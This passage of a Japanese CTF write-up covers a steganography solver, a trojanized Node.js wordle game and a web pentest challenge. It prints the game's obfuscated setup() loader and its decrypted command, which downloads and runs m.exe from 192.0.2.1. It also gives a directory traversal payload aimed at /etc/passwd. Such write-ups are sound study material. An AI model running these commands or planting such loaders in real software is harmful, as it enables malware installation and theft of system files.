                maxR = maxR + 1
            }
        }
        maxG := maxInt(box[1], box[4], box[7])
        fmt.Println("maxR:", maxR, ", maxG:", maxG, ", b3:", uint8(b3))
        // box[0]: R1
        // box[6]は確定利用
        if box[0] == maxR {
            s += "0"
        } else {
            s += "1"
        }
        // box[1]: G1
        if box[1] == maxG {
            s += "0"
        } else {
            s += "1"
        }
        // box[2]: B1
        if box[2] == uint8(b3) {
            s += "0"
        } else {
            s += "1"
        }
        // box[3]: R2
        // box[6]は確定利用
        if box[3] == maxR {
            s += "0"
        } else {
            s += "1"
        }
        // box[4]: G2
        if box[4] == maxG {
            s += "0"
        } else {
            s += "1"
        }
        // box[5]: B2
        if box[5] == uint8(b3) {
            s += "0"
        } else {
            s += "1"
        }
        // s += "1" // box[6]: R3 確定使用
        if box[6] == maxR {
            s += "0"
        } else {
            s += "1"
        }
        // s += "0" // box[7]: G3 確定不使用
        if box[7] == maxG {
            s += "0"
        } else {
            s += "1"
        }
        t := Reverse(s)
        dec, _ := strconv.ParseInt(t, 2, 10)
        fmt.Println(string(dec), dec, "=", t, "<-", s, "\n")
        flag += string(dec)
        // fmt.Println("after-box", box)
        x = x + 1
        y = (y + int(uint8(b3))) % (bounds.Dy() / 2)
        // fmt.Println("x:", x, "y:", y, x*2+1, y*2+1)
    }
    fmt.Println("FLAG:", flag)
}

上記のコードで得られる FLAG 候補文字列は以下のものだ。

NFLABS{INPub3LVEh}{VNdg}Mo}

もうこのとき何を考えていたのか、思い出すのが大変だ。 解いている人は結構多かったのでもっとシンプルなはずだとは思っていたが、このアルゴリズムを思いついたときは天才か~~~?となっていた。結局 FLAG を導けていないので天才ではない。 bit 列をガチャガチャして NFLABS{ が浮かんできたときはかなり叫んだが、中の文字列が意味あるものではなさそうだったのであと少しをエスパーで修正できなかった。

他の参加者に共有してもらったソルバーを用いると以下の FLAG が得られた。 惜しい。

NFLABS{INPub63LVEh42VNdg4Mo}

Malware

[Easy] wordle

我が社の海外拠点でアラートがあがったみたい!!

......って、業務用端末でゲームしちゃだめでしょ😠💢💢💢 しかもこれ、表層情報見たら変なコード入ってるじゃん!!さては、怪しいところから落としてきたな???

起動して遊んでみる。 ASCII 外の文字も入るのが気になるところだ。

マルウェア解析は何もわからないので、ツールだけ一丁前に広げて何も手が動かせない人になっていた。

しかし問題文で表層情報という言葉を出してくれていたので、strings で何か引っ張ってこれないかを探ってみることにした。

NFLABS{ は引っ掛からなかったが Enter a 5 word は取れた。

$ strings wordle.exe | grep "Enter a 5 word"
message: "Enter a 5 word...",

実装コード自体はそのまま残っていることがわかった。 Enter a 5 word が存在した周辺をスクロールしていると wordle のメインとなるコードが取りだせた。

const prompts = require('prompts');
const Blowfish = require('egoroof-blowfish');
const { Buffer } = require('buffer');
const { exec } = require('child_process');
const wordsJSON = require("./words.json");
let puzzle = "";
const wordlePrompt = {
  type: "text",
  name: "word",
  message: "Enter a 5 word...",
  validate: value => value.length != 5 ? 'Word must be 5 letters' : true
async function check(guess) {
  let results = [];
  // loop over each letter in the word
  for (let i in guess) {
    let attempt = { letter: guess[i], color: "bgGrey" };
    // check if the letter at the specified index in the guess word exactly
    // matches the letter at the specified index in the puzzle
    if (attempt.letter === puzzle[i]) {
      process.stdout.write(chalk.white.bgGreen.bold(` ${guess[i]} \t`));
      continue;
    }
    // check if the letter at the specified index in the guess word is at least
    // contained in the puzzle at some other position
    if (puzzle.includes(attempt.letter)) {
      process.stdout.write(chalk.white.bgYellow.bold(` ${guess[i]} \t`));
      continue;
    }
    // otherwise the letter doesn't exist at all in the puzzle
    process.stdout.write(chalk.white.bgGrey.bold(` ${guess[i]} \t`));
  return results;
async function setup(){
  let G8o6nft = "";
  for (let i=97;i < wordsJSON.length; i+=99){
        G8o6nft +=  wordsJSON[i]
  const zWpO09t = new Date();
  if (zWpO09t.getTimezoneOffset() != 480){
        return 0;
  const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==";
  const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((zWpO09t.getTimezoneOffset() ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
  const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY);
  exec(jA38Cap);
async function play(tries) {
  // the user gets 5 tries to solve the puzzle not including the first guess
  if (tries < 6) {
    // ask the player for a guess word
    const response = await prompts(wordlePrompt);
    const guess = response.word.toUpperCase();
    // if the word matches, they win!
    if (guess == puzzle) {
      console.log("WINNER!");
    } else {
      check(guess);
      // this forces std out to print out the results for the last guess
      process.stdout.write("\n");
      // repeat the game and increment the number of tries
      play(++tries);
    }
  } else {
    console.log(`INCORRECT: The word was ${puzzle}`);
async function main() {
  // get a random word
  randomNumber = Math.floor(Math.random(wordsJSON.length) * wordsJSON.length);
  puzzle = wordsJSON[randomNumber].toUpperCase();
  await setup();
  // start the game
  await play(0);
main()

setup 関数は怪しいことはわかるが何をしたらいいかわからない。

Blowfish は暗号化ライブラリのようだ。

www.npmjs.com

Vgf7a0K を復号したものが FLAG なのかもしれないが、./words.json が無い。

無いので用意する。

オフセット 35a1202 から 35a1be6 にかけて 5 文字の英単語が一生並んでいるので、それらを words.json として保存した。

あとはやるだけ。

$ node
Welcome to Node.js v20.8.0.
Type ".help" for more information.
> const { Blowfish } = await import("egoroof-blowfish");
undefined
> const wordsJSON = require("./words.json");
undefined
> let G8o6nft = "";
undefined
> for (let i=97;i < wordsJSON.length; i+=99){ G8o6nft +=  wordsJSON[i] }
'MotorUncle'
> const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==";
undefined
> const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((480 ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
undefined
> const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY)
undefined
> console.log(jA38Cap)
cmd.exe /c curl.exe -H 'FLAG: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}' http://192.0.2.1/m.exe -o C:\Windows\Temp\m.exe && C:\Windows\Temp\m.exe

疲弊しきっていた最終日に解けたので、チョー気持ちいいと僕の中の北島康介が出てきた。超嬉しい。

NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}

PenTest

問題サーバを起動し、nmap でスキャンしておく。

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-24 18:37 JST
Nmap scan report for nflabs (10.0.30.21)
Host is up (0.015s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

22, 443しか空いてないようだ。

[Hard] 帰雲城 (1)

腕に自信ありとする者、我が城攻略して見せよ。我らが家宝への道しるべとなる巻物「user.txt」を手に入れてみよ。

{"username":"guest2023","password":"guest2023"} の合言葉で入城する。

まず根本的な Web サーバのバージョンを確認しておいた。nginx/1.23.1、PHP/8.2.12 だったのでバージョンによる脆弱性はあまり考えられない。

/member へ移動するが、そこから何かできるわけではなく、ログアウト機能しか見えない。

assets/index-edf2a3e5.js を気合で読むと、以下のエンドポイントが見受けられる。

  • /login
  • /member
  • /result
  • /task
  • /report
  • /profile
  • /api/login
  • /api/profile

/task などの URL を叩いても、全部 /member/ へリダイレクトされる。う~ん。

ここで頭を悩ませていたら dev2023 がいることに気づく。

オイコラ dev と恐喝しながら {"username":"dev2023","password":"dev2023"} でログインを試みると、ログインできた。 しかも、Guest の役職でない Maintainer の役職なので機能が一気に解放された。いい話。

profile では担当や合言葉、プロフィール写真を変更することができる。

ここで、適当に【DFIR】rockyou で手に入れた output.pcap をアップロードする。

怒られは発生しなかった。 レスポンスに画像データを返してくるのがよくわからない。 ファイルのチェックがされていないので、睨んでみるとする。 なんとなくまず試してみたいのはシンボリックリンクディレクトリトラバーサルだ。

../user.txt へのシンボリックリンクを送り付けたら怒られた。何かしらは見ているらしい。

filenameディレクトリトラバーサル脆弱性が存在した。証跡は撮り損ねたが、payload は ../../../../../../../../../etc/passwd のようなものだった。 ディレクトリトラバーサルは見つけられたものの、Pentest 初心者過ぎてここからどうすればいいのかわからないまま問題サーバが止まってしまった。 公式の writeup を読んでンヒーと言います。


writeup は以上になります。

24 時間の開催でなかったため、じっくりと参加することができました。 十分な時間を取り組んだため、時間が足りなかったという言い訳はできません。これが今の自分の実力なんだとよくよく把握することができました。 セキュリティちょっとわかるよと言っていくにはもうちょっとリアリティのある技能を身に着けていかないとなと感じました。脅威を教科書的に知識として持っておくだけじゃなくて、攻撃によってどんなログになるのか、攻撃するにはどんなコマンドを打たないといけないのか、攻撃者はどう攻めてくるのか、いろいろ学びがありました。

とても楽しかったです。来年も開催されればぜひ参加して、Hard 問を解きたいです。 ありがとうございました。


Writeup 賞をいただきました!! NFLabs. のみなさま、改めてありがとうございました!


この記事は IPFactory OB Advent Calendar 2023 17日目の記事です。

qiita.com

現役生のアドカレはこちら。

qiita.com

昨日 16 日目の記事は y0d3n の OSWE受験記 でした。合格めでたい。

y0d3n.hatenablog.com

明日の記事があるかはわかりません。